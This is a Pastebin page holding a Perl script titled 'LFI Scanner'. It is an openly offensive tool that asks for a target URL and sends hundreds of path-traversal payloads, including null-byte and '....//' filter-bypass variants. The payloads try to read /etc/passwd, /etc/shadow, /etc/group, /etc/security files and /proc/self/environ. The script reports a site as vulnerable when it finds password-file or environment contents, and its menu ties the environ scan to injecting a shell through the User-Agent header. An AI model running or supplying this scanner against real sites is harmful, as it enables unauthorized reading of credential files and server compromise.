API tools faq
paste
khalilasharen

LFI scanner with perl

khalilasharen
May 8th, 2012
110
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.51 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/perl
  2. #
  3. # ////////////////////////////////////
  4. # LFI Scanner
  5. # ////////////////////////////////////
  6. #
  7. # Title : LFI Scanner
  8. # Author: Cr@zy 3xpl0!t
  9. # From :
  10. # Description :Log , Environ , Passwd File Scanner ,& new method for bypass passwd
  11. #
  12. #*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  13.  
  14. use HTTP::Request;
  15. use LWP::UserAgent;
  16. system ("cls");
  17. print "\t\t/////////////////////////////////////////////////\n";
  18. print "\t\t_________________________________________________\n";
  19. print "\t\t\t LFI Scanner\n";
  20. print "\t\t\t Coded By Cr@zy 3xpl0!t\n";
  21. print "\t\t_________________________________________________\n";
  22. print "\n\n";
  23. sleep (1);
  24. print "\t\t\t\t WELCOME\n";
  25. print "\n\n";
  26. menu:;
  27. print "\tMenu:\n";
  28. print "\t ID[1]=>Passwd,Log";
  29. print "\t[Scan Files Of /etc/ Directory]\n";
  30. print "\t ID[2]=>Environ";
  31. print "\t\t[Scan Environ File For Inject Shell By U-Agent]\n";
  32. print"\n";
  33. print "\t\t Select ID For Start Scanner :";
  34. $menu = <>;
  35. if ($menu =~ /1/){
  36. goto lfi;
  37. }
  38. if ($menu =~ /2/){
  39. goto env;
  40. }
  41. else {
  42. print"\n\n";
  43. print "\t\tUnknow Command\n";
  44. goto menu;
  45. };
  46.  
  47.  
  48. lfi:;
  49. print "\n\n";
  50. print "\t\t\tWelcome To /etc/ Section With New Method\n\n";
  51. print "\t Insert Target (ex: http://www.site.com/index.php?page=)\n";
  52. print "\t Target :";
  53. $host=<STDIN>;
  54. chomp($host);
  55. if($host !~ /http:\/\//) { $host = "http://$host"; };
  56.  
  57. print "\n\n";
  58. print "\t\t*-*-*-*-*-* WORKING IN PROGRESS *-*-*-*-*-*\n";
  59. print "\n\n";
  60. @lfi = ('../etc/passwd',
  61. '../../etc/passwd',
  62. '../../../etc/passwd',
  63. '../../../../etc/passwd',
  64. '../../../../../etc/passwd',
  65. '../../../../../../etc/passwd',
  66. '../../../../../../../etc/passwd',
  67. '../../../../../../../../etc/passwd',
  68. '../../../../../../../../../etc/passwd',
  69. '../../../../../../../../../../etc/passwd',
  70. '../../../../../../../../../../../etc/passwd',
  71. '../../../../../../../../../../../../etc/passwd',
  72. '../../../../../../../../../../../../../etc/passwd',
  73. '../../../../../../../../../../../../../../etc/passwd',
  74. '../../../../../../../../../../../../../../../../etc/passwd',
  75. '....//etc/passwd',
  76. '....//....//etc/passwd',
  77. '....//....//....//etc/passwd',
  78. '....//....//....//....//etc/passwd',
  79. '....//....//....//....//....//etc/passwd',
  80. '....//....//....//....//....//....//etc/passwd',
  81. '....//....//....//....//....//....//....//etc/passwd',
  82. '....//....//....//....//....//....//....//....//etc/passwd',
  83. '....//....//....//....//....//....//....//....//....//etc/passwd',
  84. '....//....//....//....//....//....//....//....//....//....//etc/passwd',
  85. '../../etc/passwd%00',
  86. '../../../etc/passwd%00',
  87. '../../../../etc/passwd%00',
  88. '../../../../../etc/passwd%00',
  89. '../../../../../../etc/passwd%00',
  90. '../../../../../../../etc/passwd%00',
  91. '../../../../../../../../etc/passwd%00',
  92. '../../../../../../../../../etc/passwd%00',
  93. '../../../../../../../../../../etc/passwd%00',
  94. '../../../../../../../../../../../etc/passwd%00',
  95. '../../../../../../../../../../../../etc/passwd%00',
  96. '../../../../../../../../../../../../../etc/passwd%00',
  97. '../../../../../../../../../../../../../../etc/passwd%00',
  98. '../../../../../../../../../../../../../../../../etc/passwd%00',
  99. '....//etc/passwd%00',
  100. '....//....//etc/passwd%00',
  101. '....//....//....//etc/passwd%00',
  102. '....//....//....//....//etc/passwd%00',
  103. '....//....//....//....//....//etc/passwd%00',
  104. '....//....//....//....//....//....//etc/passwd%00',
  105. '....//....//....//....//....//....//....//etc/passwd%00',
  106. '....//....//....//....//....//....//....//....//etc/passwd%00',
  107. '....//....//....//....//....//....//....//....//....//etc/passwd%00',
  108. '....//....//....//....//....//....//....//....//....//....//etc/passwd%00',
  109. '../etc/shadow',
  110. '../../etc/shadow',
  111. '../../../etc/shadow',
  112. '../../../../etc/shadow',
  113. '../../../../../etc/shadow',
  114. '../../../../../../etc/shadow',
  115. '../../../../../../../etc/shadow',
  116. '../../../../../../../../etc/shadow',
  117. '../../../../../../../../../etc/shadow',
  118. '../../../../../../../../../../etc/shadow',
  119. '../../../../../../../../../../../etc/shadow',
  120. '../../../../../../../../../../../../etc/shadow',
  121. '../../../../../../../../../../../../../etc/shadow',
  122. '../../../../../../../../../../../../../../etc/shadow',
  123. '../etc/shadow%00',
  124. '../../etc/shadow%00',
  125. '../../../etc/shadow%00',
  126. '../../../../etc/shadow%00',
  127. '../../../../../etc/shadow%00',
  128. '../../../../../../etc/shadow%00',
  129. '../../../../../../../etc/shadow%00',
  130. '../../../../../../../../etc/shadow%00',
  131. '../../../../../../../../../etc/shadow%00',
  132. '../../../../../../../../../../etc/shadow%00',
  133. '../../../../../../../../../../../etc/shadow%00',
  134. '../../../../../../../../../../../../etc/shadow%00',
  135. '../../../../../../../../../../../../../etc/shadow%00',
  136. '../../../../../../../../../../../../../../etc/shadow%00',
  137. '../etc/group',
  138. '../../etc/group',
  139. '../../../etc/group',
  140. '../../../../etc/group',
  141. '../../../../../etc/group',
  142. '../../../../../../etc/group',
  143. '../../../../../../../etc/group',
  144. '../../../../../../../../etc/group',
  145. '../../../../../../../../../etc/group',
  146. '../../../../../../../../../../etc/group',
  147. '../../../../../../../../../../../etc/group',
  148. '../../../../../../../../../../../../etc/group',
  149. '../../../../../../../../../../../../../etc/group',
  150. '../../../../../../../../../../../../../../etc/group',
  151. '../etc/group%00',
  152. '../../etc/group%00',
  153. '../../../etc/group%00',
  154. '../../../../etc/group%00',
  155. '../../../../../etc/group%00',
  156. '../../../../../../etc/group%00',
  157. '../../../../../../../etc/group%00',
  158. '../../../../../../../../etc/group%00',
  159. '../../../../../../../../../etc/group%00',
  160. '../../../../../../../../../../etc/group%00',
  161. '../../../../../../../../../../../etc/group%00',
  162. '../../../../../../../../../../../../etc/group%00',
  163. '../../../../../../../../../../../../../etc/group%00',
  164. '../../../../../../../../../../../../../../etc/group%00',
  165. '../etc/security/group',
  166. '../../etc/security/group',
  167. '../../../etc/security/group',
  168. '../../../../etc/security/group',
  169. '../../../../../etc/security/group',
  170. '../../../../../../etc/security/group',
  171. '../../../../../../../etc/security/group',
  172. '../../../../../../../../etc/security/group',
  173. '../../../../../../../../../etc/security/group',
  174. '../../../../../../../../../../etc/security/group',
  175. '../../../../../../../../../../../etc/security/group',
  176. '../etc/security/group%00',
  177. '../../etc/security/group%00',
  178. '../../../etc/security/group%00',
  179. '../../../../etc/security/group%00',
  180. '../../../../../etc/security/group%00',
  181. '../../../../../../etc/security/group%00',
  182. '../../../../../../../etc/security/group%00',
  183. '../../../../../../../../etc/security/group%00',
  184. '../../../../../../../../../etc/security/group%00',
  185. '../../../../../../../../../../etc/security/group%00',
  186. '../../../../../../../../../../../etc/security/group%00',
  187. '../etc/security/passwd',
  188. '../../etc/security/passwd',
  189. '../../../etc/security/passwd',
  190. '../../../../etc/security/passwd',
  191. '../../../../../etc/security/passwd',
  192. '../../../../../../etc/security/passwd',
  193. '../../../../../../../etc/security/passwd',
  194. '../../../../../../../../etc/security/passwd',
  195. '../../../../../../../../../etc/security/passwd',
  196. '../../../../../../../../../../etc/security/passwd',
  197. '../../../../../../../../../../../etc/security/passwd',
  198. '../../../../../../../../../../../../etc/security/passwd',
  199. '../../../../../../../../../../../../../etc/security/passwd',
  200. '../../../../../../../../../../../../../../etc/security/passwd',
  201. '../etc/security/passwd%00',
  202. '../../etc/security/passwd%00',
  203. '../../../etc/security/passwd%00',
  204. '../../../../etc/security/passwd%00',
  205. '../../../../../etc/security/passwd%00',
  206. '../../../../../../etc/security/passwd%00',
  207. '../../../../../../../etc/security/passwd%00',
  208. '../../../../../../../../etc/security/passwd%00',
  209. '../../../../../../../../../etc/security/passwd%00',
  210. '../../../../../../../../../../etc/security/passwd%00',
  211. '../../../../../../../../../../../etc/security/passwd%00',
  212. '../../../../../../../../../../../../etc/security/passwd%00',
  213. '../../../../../../../../../../../../../etc/security/passwd%00',
  214. '../../../../../../../../../../../../../../etc/security/passwd%00',
  215. '../etc/security/user',
  216. '../../etc/security/user',
  217. '../../../etc/security/user',
  218. '../../../../etc/security/user',
  219. '../../../../../etc/security/user',
  220. '../../../../../../etc/security/user',
  221. '../../../../../../../etc/security/user',
  222. '../../../../../../../../etc/security/user',
  223. '../../../../../../../../../etc/security/user',
  224. '../../../../../../../../../../etc/security/user',
  225. '../../../../../../../../../../../etc/security/user',
  226. '../../../../../../../../../../../../etc/security/user',
  227. '../../../../../../../../../../../../../etc/security/user',
  228. '../etc/security/user%00',
  229. '../../etc/security/user%00',
  230. '../../../etc/security/user%00',
  231. '../../../../etc/security/user%00',
  232. '../../../../../etc/security/user%00',
  233. '../../../../../../etc/security/user%00',
  234. '../../../../../../../etc/security/user%00',
  235. '../../../../../../../../etc/security/user%00',
  236. '../../../../../../../../../etc/security/user%00',
  237. '../../../../../../../../../../etc/security/user%00',
  238. '../../../../../../../../../../../etc/security/user%00',
  239. '../../../../../../../../../../../../etc/security/user%00',
  240. '../../../../../../../../../../../../../etc/security/user%00');
  241.  
  242.  
  243. foreach $scan(@lfi){
  244.  
  245. $url = $host.$scan;
  246. $request = HTTP::Request->new(GET=>$url);
  247. $useragent = LWP::UserAgent->new();
  248.  
  249. $response = $useragent->request($request);
  250. if ($response->is_success && $response->content =~ /root:x:/) { $msg = Vulnerability;}
  251. else { $msg = "Not Found";}
  252. print "$scan..........[$msg]\n";
  253. }
  254. env:;
  255. print "\n\n";
  256. print "\t\t\tWelcom To Environ Section\n\n";
  257. print "\t Insert Target (ex: http://www.site.com/index.php?page=)\n";
  258. print "\t Target :";
  259. $host=<STDIN>;
  260. chomp($host);
  261. if($host !~ /http:\/\//) { $host = "http://$host"; };
  262.  
  263. print "\n\n";
  264. print "\t\t*-*-*-*-*-* WORKING IN PROGRESS *-*-*-*-*-*\n";
  265. print "\n\n";
  266.  
  267. @env = ('../proc/self/environ',
  268. '../../proc/self/environ',
  269. '../../../proc/self/environ',
  270. '../../../../proc/self/environ',
  271. '../../../../../proc/self/environ',
  272. '../../../../../../proc/self/environ',
  273. '../../../../../../../proc/self/environ',
  274. '../../../../../../../../proc/self/environ',
  275. '../../../../../../../../../proc/self/environ',
  276. '../../../../../../../../../../proc/self/environ',
  277. '../../../../../../../../../../../proc/self/environ',
  278. '../../../../../../../../../../../../proc/self/environ',
  279. '../../../../../../../../../../../../../proc/self/environ',
  280. '../../../../../../../../../../../../../../proc/self/environ',
  281. '../proc/self/environ%00',
  282. '../../proc/self/environ%00',
  283. '../../../proc/self/environ%00',
  284. '../../../../proc/self/environ%00',
  285. '../../../../../proc/self/environ%00',
  286. '../../../../../../proc/self/environ%00',
  287. '../../../../../../../proc/self/environ%00',
  288. '../../../../../../../../proc/self/environ%00',
  289. '../../../../../../../../../proc/self/environ%00',
  290. '../../../../../../../../../../proc/self/environ%00',
  291. '../../../../../../../../../../../proc/self/environ%00',
  292. '../../../../../../../../../../../../proc/self/environ%00',
  293. '../../../../../../../../../../../../../proc/self/environ%00',
  294. '../../../../../../../../../../../../../../proc/self/environ%00');
  295.  
  296. foreach $scan_env(@env){
  297.  
  298. $url = $host.$scan_env;
  299. $request = HTTP::Request->new(GET=>$url);
  300. $useragent = LWP::UserAgent->new();
  301.  
  302. $response = $useragent->request($request);
  303. if ($response->is_success && $response->content =~ /HTTP_ACCEPT/ && $response->content =~ /HTTP_HOST/) { $msg = Vulnerability;}
  304. else { $msg = "Not Found";}
  305. print "$scan_env..........[$msg]\n";
  306. }
  307.  
  308.  
  309.  
  310. # Cr@zy 3xploit
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!